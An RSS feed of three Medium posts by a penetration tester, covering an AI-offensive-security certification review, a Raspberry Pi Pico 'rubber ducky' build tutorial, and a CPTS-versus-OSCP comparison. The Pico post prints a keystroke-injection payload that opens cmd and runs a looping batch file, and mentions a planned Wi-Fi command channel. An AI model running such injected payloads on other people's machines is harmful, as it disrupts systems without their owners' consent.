<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmad Allobani on Medium]]></title>
        <description><![CDATA[Stories by Ahmad Allobani on Medium]]></description>
        <link>https://medium.com/@ahmadallobani232?source=rss-23101e992b09------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-VpTYdTNebLM_NKuNVmhfw.jpeg</url>
            <title>Stories by Ahmad Allobani on Medium</title>
            <link>https://medium.com/@ahmadallobani232?source=rss-23101e992b09------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 12:20:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmadallobani232/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Thoughts About Certified Offensive AI Expert (COAE)]]></title>
            <link>https://medium.com/@ahmadallobani232/thoughts-about-certified-offensive-ai-expert-coae-7c09ca25e765?source=rss-23101e992b09------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c09ca25e765</guid>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ahmad Allobani]]></dc:creator>
            <pubDate>Sun, 10 May 2026 20:19:26 GMT</pubDate>
            <atom:updated>2026-05-10T20:19:26.610Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ut5Md6mNIbT_5Wj6D10blQ.png" /></figure><h3>Everyone talks about AI. I break it.</h3><p>AI, AI-powered, AI systems. The most hyped words right now. Every CEO loves them, cool. But we are penetration testers. We don’t just use things, we look behind them, understand how they work, and find out how to break them.</p><p>So when AI became the new everything, I asked myself one question: who is going to test all of this?</p><h3>my story</h3><p>My path to COAE was fast. Before it was released, I was looking at the cert landscape and felt nothing worth it. web? AD? yeah there are always new things but i work with those every day. I needed a completely new field. not just new content,,, a new world.</p><p>AI was the obvious answer. Every company is shipping AI products and services. someone has to test them. i decided that someone would be me.</p><p>i had been expecting HTB to drop an AI exam for over a year. I knew it was coming. I just wasn’t taking it seriously until I looked around and realized AI isn’t slowing down, it’s accelerating. So I locked in.</p><p>why HTB and not OffSec? everyone who knows the market knows the answer. HTB teaches you real deep knowledge. After COAE, OSAI will feel easy. That’s the pattern.</p><h3>One important thing before anything</h3><p>If your base in web pentesting is weak, don’t jump into AI pentesting yet.</p><p>I know AI is trending. I know everyone wants the shiny new cert. But if you don’t understand SQL injection, XSS, IDOR, auth bypass, and basic enumeration, you will get stuck on this exam and not understand why. AI lives on the web. You need both.</p><p>Follow the trend only after you have the foundation. otherwise you’re building on nothing.</p><h3>The exam, an honest breakdown</h3><p>PLEASE. PLEASE. PLEASE.<br>Do not start testing before you fully understand the application. Check every feature. map everything. if you see a chatbot, don’t focus on it and ignore the rest of the app. that’s the fastest way to fail.</p><p>The exam is not a prompt injection challenge. it covers LLM security, indirect prompt injection, AI agents, MCP behavior, adversarial ML, model evasion, data poisoning, and chained attacks that mix web and AI together.</p><p>There is a main scenario, and you cannot skip steps. Everything is connected. if you get stuck on one specific point in it, say goodbye to 2 days of your life trying to figure it out. it’s tricky. but that’s also what makes it good.</p><p>There are also standalone systems you can solve separately. My tip: do a quick enumeration on each one. If you find something valuable, dig in. If not, move on and come back later. Don’t burn hours on something that’s not clicking yet.</p><h3>What about the math?</h3><p>The most asked question right now. Yes, there is math. You need to understand how models work, how evasion works, and how to think about reversing things.</p><p>But do you need to go deep? short answer: no.</p><p>What you need is to understand the attack, what it is, why it works, and where it applies. The actual heavy implementation? Let AI help you with the coding and the complex math. if you’re not using AI tools to assist your work in 2026 you’re operating like it’s 1800.</p><p>understand the concept, find the attack surface, let AI handle the hard implementation. that’s the workflow.</p><h3>Web pentesting, required?</h3><p>Sometimes, you cannot move forward without chaining a web attack with an AI attack. SQL, XSS, IDOR, auth bypass, and enumeration all come up. don’t show up to this exam without them.</p><h3>How long did it take me?</h3><p>The exam window is 7 days. I finished with 85% and had 5 days and 21 hours remaining. minus 8 hours sleeping. fast? yes and no.</p><p>When you solve things, they look Easy. You’ll ask yourself why it took so long. But that one tricky chained point, if you get stuck there without the right mindset, you’re looking at 3+ days minimum just on that one.</p><p>think, step back, think again. don’t rush to the final payload. gather small pieces of information, chain them, and build up to the final prompt or payload. That’s the actual methodology.</p><h3>reporting</h3><p>easiest part. I used SysReptor. My report was around 50 pages and didn’t take long. just make sure you’re saving everything as you go.</p><h3>Tips and tricks</h3><p>save everything, outputs, and payloads you will get back to them.<br>If something doesn’t work, it’s not wrong. It probably needs something added, <strong>not </strong>replaced.<br>If something isn’t firing, try it in a fresh chat session and check again. Enumerate the entire application first before you start attacking anything.<br>Don’t go straight for the gold. do it step by step. small pieces of information become the full attack chain.</p><h3>final thought</h3><p>COAE is the best cert I’ve done. not because it was easy, it wasn’t. because it’s a new field, a real field, and the future of security. The path teaches you things that actually matter.</p><p>I recommend it before anything else in AI security. go get it.</p><p>BaldHead regards<br>Ahmad Allobani 💀</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QyUs8rUxwqogPylonHolhw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c09ca25e765" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[turning a Raspberry Pi Pico into a Rubber Ducky]]></title>
            <link>https://medium.com/@ahmadallobani232/turning-a-raspberry-pi-pico-into-a-rubber-ducky-546d21a5bf70?source=rss-23101e992b09------2</link>
            <guid isPermaLink="false">https://medium.com/p/546d21a5bf70</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[usb-rubber-ducky]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <dc:creator><![CDATA[Ahmad Allobani]]></dc:creator>
            <pubDate>Sun, 28 Sep 2025 06:46:50 GMT</pubDate>
            <atom:updated>2025-09-28T06:46:50.772Z</atom:updated>
            <content:encoded><![CDATA[<p>i wanted a USB Rubber Ducky. then i looked at the price and closed the tab. instead, i found a Raspberry Pi Pico W for about $14 and thought,,, why not make my own cheap, stupid version of a ducky?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X5dAWBe3kyP6bu84" /></figure><p>after some searching i landed on a small project (dbisu/pico-ducky) that does exactly that: makes the pico act like a keyboard and run payloads. i bookmarked a couple of videos but, full disclosure, i didn’t watch them. instead i just started breaking things until something worked.</p><h3>getting started,,, the bare minimum</h3><p>what you need:</p><ul><li>a Raspberry Pi Pico W</li><li>CircuitPython for the pico w (i used adafruit-circuitpython-raspberry_pi_pico_w-en_US-9.2.0.uf2)</li><li>the pico-ducky files (firmware + libraries + a payload.dd)</li></ul><p>the file layout on my CIRCUITPY looked like this:</p><pre>├── boot_out.txt<br>├── boot.py<br>├── code.py<br>├── duckyinpython.py<br>├── payload.dd<br>├── settings.toml<br>├── webapp.py<br>├── lib/<br>│   ├── adafruit_hid/<br>│   │   ├── keyboard.mpy<br>│   │   ├── keycode.mpy<br>│   │   └── ...<br>│   └── asyncio/<br>└── wsgiserver.py</pre><p>payload.dd is the thing that matters,,, that’s where you write the commands the pico will “type”.</p><h3>the painful part? testing a change</h3><p>testing a single payload change was brutal at first:</p><ol><li>hold the button on the pico for ~15 seconds</li><li>connect to the PC</li><li>flash flash_nuke.uf2 (resets the pico)</li><li>re-flash CircuitPython</li><li>re-upload all files to CIRCUITPY</li></ol><p>that cycle took 10–15 minutes per edit. totally unacceptable. so i automated it.</p><h3>automation? sure ,,, bash script that saves your life</h3><p>i made a bash script that does everything: nukes, flashes, waits, copies the firmware, and drops the files into CIRCUITPY. edit your payload, run the script, done — testing time dropped from ~15 minutes to ~2 minutes.</p><p>here’s the script (update the paths to match your machine):</p><pre>#!/bin/bash<br><br># Source directories<br>SOURCE_FLASH_NUKE=&quot;/path/to/pico/flash/flash_nuke.uf2&quot;   #change this<br>SOURCE_DRIVER=&quot;/path/to/pico/flash/adafruit-circuitpython-raspberry_pi_pico_w-en_US-9.2.0.uf2&quot;  #change this<br>SOURCE_NEEDED_FILES=&quot;/path/to/pico/needed_files&quot; #change this<br><br># Destination directories (dynamic RPI-RP2 detection)<br># Find all RPI-RP2 mounts<br>RPI_RP2_DIRS=$(ls -d /media/&lt;user&gt;/RPI-RP2* 2&gt;/dev/null)  #change this<br><br>if [ -z &quot;$RPI_RP2_DIRS&quot; ]; then<br>    echo &quot;Error: No RPI-RP2 mount found!&quot; &gt;&amp;2<br>    exit 1<br>fi<br><br><br>DEST_RPI_RP2=$(echo &quot;$RPI_RP2_DIRS&quot; | head -n 1)<br><br># Check if there are multiple directories and prompt the user to select one<br>if [ $(echo &quot;$RPI_RP2_DIRS&quot; | wc -l) -gt 1 ]; then<br>    echo &quot;Multiple RPI-RP2 directories found:&quot;<br>    select DEST_RPI_RP2 in $RPI_RP2_DIRS; do<br>        if [ -n &quot;$DEST_RPI_RP2&quot; ]; then<br>            echo &quot;Selected: $DEST_RPI_RP2&quot;<br>            break<br>        else<br>            echo &quot;Invalid choice, please select a valid directory.&quot;<br>        fi<br>    done<br>fi<br><br># Destination for CIRCUITPY<br>DEST_CIRCUITPY=&quot;/media/&lt;user&gt;/CIRCUITPY&quot;   #change this<br><br># Copy flash_nuke.uf2 to RPI-RP2<br>echo &quot;Copying flash_nuke.uf2 to $DEST_RPI_RP2...&quot;<br>cp &quot;$SOURCE_FLASH_NUKE&quot; &quot;$DEST_RPI_RP2&quot;<br>if [ $? -eq 0 ]; then<br>    echo &quot;flash_nuke.uf2 copied successfully!&quot;<br>else<br>    echo &quot;Error copying flash_nuke.uf2&quot; &gt;&amp;2<br>    exit 1<br>fi<br><br># Wait for 10 seconds<br>echo &quot;Waiting for 10 seconds...&quot;<br>sleep 20<br><br># Copy driver.uf2 to RPI-RP2<br>echo &quot;Copying driver.uf2 to $DEST_RPI_RP2...&quot;<br>cp &quot;$SOURCE_DRIVER&quot; &quot;$DEST_RPI_RP2&quot;<br>if [ $? -eq 0 ]; then<br>    echo &quot;driver.uf2 copied successfully!&quot;<br>else<br>    echo &quot;Error copying driver.uf2&quot; &gt;&amp;2<br>    exit 1<br>fi<br><br># Wait for 20 seconds<br>echo &quot;Waiting for 20 seconds...&quot;<br>sleep 25<br><br># Replace and override files on CIRCUITPY with the files from needed_files<br>echo &quot;Replacing files in CIRCUITPY with files from needed_files...&quot;<br>cp -r &quot;$SOURCE_NEEDED_FILES&quot;/* &quot;$DEST_CIRCUITPY/&quot;<br>if [ $? -eq 0 ]; then<br>    echo &quot;Files replaced successfully in CIRCUITPY!&quot;<br>else<br>    echo &quot;Error replacing files in CIRCUITPY&quot; &gt;&amp;2<br>    exit 1<br>fi<br><br># Accept all changes and overrides automatically<br>echo &quot;Changes accepted and files overwritten.&quot;</pre><p>With this script, I just run it, sit back, and let it handle all the boring parts.</p><h3>a simple payload example</h3><p>here’s a short payload i used for testing. it opens cmd, writes a batch that opens a youtube link in a loop, and runs it.</p><pre>DELAY 2000<br>GUI r<br>DELAY 500<br>STRING cmd<br>ENTER<br>DELAY 2000<br>STRING if exist rr.bat del /f /q rr.bat<br>ENTER<br>DELAY 1000<br>STRING copy con rr.bat<br>ENTER<br>STRING @ECHO OFF<br>STRING PING 127.0.0.1 -n 5 &gt; NUL<br>ENTER<br>STRING :LOOP<br>ENTER<br>STRING start https://www.youtube.com/watch?v=dQw4w9WgXcQ<br>ENTER<br>STRING PING 127.0.0.1 -n 300 &gt; NUL<br>ENTER<br>STRING GOTO LOOP<br>ENTER<br>CTRL C<br>DELAY 1000<br>STRING cls &amp;&amp; rr.bat<br>ENTER<br>GUI DOWNARROW</pre><p>yes, it’s annoying. don’t run this on other people’s machines.💀💀</p><h3>repo and files</h3><p>i put my version in a github repo with the firmware, libraries, and sample payloads so you don’t have to hunt for them. clone it, copy files to CIRCUITPY, edit payload.dd, and go. repo: <a href="https://github.com/ahmadallobani/Pico">github.com/ahmadallobani/Pico</a></p><p><a href="https://github.com/ahmadallobani/Pico">GitHub - ahmadallobani/Pico: Turning a Raspberry Pi Pico into a Rubber Ducky</a></p><h3>Fun with My Payloads</h3><p>Now for the fun part ,, what the payload ( in repo ) actually does. Here’s one I made just for laughs:</p><ol><li><strong>Step 1:</strong> Download an image file.</li><li><strong>Step 2:</strong> Create 200 copies of that image on the desktop.</li><li><strong>Step 3:</strong> Open YouTube, crank up the volume, and spam infinite tabs with the same video.</li><li>The only way to stop it is a system restart</li></ol><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F1jiClD-XB6o%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D1jiClD-XB6o&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F1jiClD-XB6o%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/65b5ae7b18ec7a7e6705142724c0f831/href">https://medium.com/media/65b5ae7b18ec7a7e6705142724c0f831/href</a></iframe><h3>what’s next</h3><p>i’m thinking of adding a simple C2 over Wi-Fi so the pico can pull payloads from a web endpoint basically a tiny command channel. interesting for experiments and a decent learning exercise for remote command delivery.</p><h3>final thoughts</h3><p>the pico-ducky is cheap, flexible, and a great hardware exercise. it’s not a commercial Rubber Ducky replacement in every way, but for tinkering and learning it’s perfect. the automation step is the difference between a frustrating weekend and a productive one.</p><p>If you’re into DIY projects and love messing around with hardware, give it a shot. It’s cheap, fun, and a great way to learn.</p><p>Now, I need coffee. ☕ Let me know if you guys have any ideas or questions!</p><p>Ahmad Allobani</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=546d21a5bf70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CPTS vs OSCP]]></title>
            <link>https://medium.com/@ahmadallobani232/cpts-vs-oscp-b757b4cb9ade?source=rss-23101e992b09------2</link>
            <guid isPermaLink="false">https://medium.com/p/b757b4cb9ade</guid>
            <category><![CDATA[exam]]></category>
            <category><![CDATA[cpt]]></category>
            <category><![CDATA[pt]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Ahmad Allobani]]></dc:creator>
            <pubDate>Sun, 21 Sep 2025 18:27:00 GMT</pubDate>
            <atom:updated>2025-09-21T19:26:56.404Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4NjE0bH7uMCrvN_3" /></figure><p>Hello my friends, my CPTS vs OSCP journey (short, messy, honest)</p><h3>first, no multiple choice please</h3><p>i hate multiple-choice certs (ejpt and the like). boring. so i skipped the easy beginner certs and went straight for something real. my first “real” cert was <strong>CPTS, </strong>a 10-day exam plus a long report.</p><h3>CPTS 💀the beast (and why i love it)</h3><p>CPTS is one big connected environment not a bunch of standalone boxes. Everything is linked together and the only way is to fully compromise the exam. You need 12 flags to pass, 14 if you want the bonus. i got all 14 in around 50 hours. Yes, 50 hours. That doesn’t mean it was easy. You need 100% focus, a proper methodology, and nerves of steel.</p><p>The reporting was its own beast: a 125-page report finished in 3 days. total time from start to submission? 5 days. The exam itself was well structured, with almost no bugs or weird glitches. It’s not easy, i spent 3 hours just getting a potential foothold for the first flag. fully stressful. CPTS now has an updated environment but the logic and experience feel the same. you need to finish the 28 HTB academy modules first, coz CPTS expects you to know that material. unlike OSCP, you can’t just show up without prep (i tried the OSCP that way).</p><p>CPTS covers everything in the material, literally everything. You need good notes, a strict methodology, and a real PT mindset.</p><p>In short: CPTS = hard, realistic, thorough. it makes you think like a real pentester.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLpqz52aC1h3mewIm56Luw.jpeg" /></figure><h3>Now OSCP 💀the hype card</h3><p>OSCP is wildly overrated, especially in the eyes of HR. $ 1,700 for this? not worth it. The exam is one day for pentest, one day for reporting. I finished mine in 5 hours of testing and 2 hours of reporting. five hours. yep.</p><p>The structure: 3 standalone boxes + 3 machines in an AD set.</p><ul><li>AD in OSCP? weak. compared to CPTS, it’s tiny. CPTS had multi-step AD chains (i counted ~14 steps for one flag in AD on dc01, and CPTS used two domains in a forest). The AD set in OSCP is only 3 attacks to fully compromise the AD set, and somehow that gives you 40% of the exam progress.</li><li>Standalone machines in OSCP are full of rabbit holes, weird, guessy things, and often one or two tiny steps get you root. and OSCP focuses on CVE exploitation, runs a script from exploit-db, and boom, root. Where’s the PT methodology in that?</li><li>OSCP focuses a lot on CVEs and quick exploit runs. that’s useful sometimes, but it’s not the same depth as a connected, multi-step engagement.</li><li>monitoring &amp; price: OSCP is a live monitored exam, and I think a big part of that $1700 price is because of the monitoring. OSCP’s monitored format gives HRs confidence in the result. CPTS, being much cheaper (~$210) and long, is not monitored live, and some HR teams haven’t officially accepted it the same way because of that.</li></ul><p>In short: OSCP = fast, hacky, useful to pass quickly, but less deep than CPTS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*okqxI-5nBhKfBTKS" /></figure><h3>the real difference (my experience)</h3><ul><li><strong>CPTS</strong> made me grind: notes, methodology, lots of pivoting, and a real report. it felt like actual pentesting. i did ~80 machines before CPTS and spent serious prep time.</li><li><strong>OSCP</strong> i bought late at night, scheduled next morning, no prep, and that&#39;s it. That tells you something about the exam difficulty versus price and hype.</li></ul><h3>my thoughts: which should you take?</h3><ul><li>if you’re a <strong>student</strong> and want <em>real knowledge</em> at a good price → go for <strong>HTB academy + CPTS</strong>. you’ll build knowledge that actually helps you in the field. cheap, deep, and practical.</li><li>if you’re already <strong>in the market</strong> and need to boost your CV → go for <strong>OSCP</strong>. HRs love it, it opens doors.</li><li>but here’s the truth: CPTS will make you more confident in your knowledge and skills, while OSCP will make your CV look stronger. sadly, many companies care less about real knowledge and more about buzzwords.</li><li>i really hope <strong>CPTS gets more hype</strong> in the future. it deserves it. if the industry recognizes it fully, it could be the joker card for all pentesting jobs.</li></ul><h3>message to HR/managers</h3><p>CPTS holders are battle-tested. they finished the HTB modules, practiced hard, and survived a tough exam environment. Hire a CPTS holder and you’ll get someone who actually <em>does</em> pentesting end-to-end, not just someone who ran a few CVE scripts for a checkbox.</p><p>Best regards,<br>(your friendly BALDHEAD pentester)<br>Ahmad Allobani</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b757b4cb9ade" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>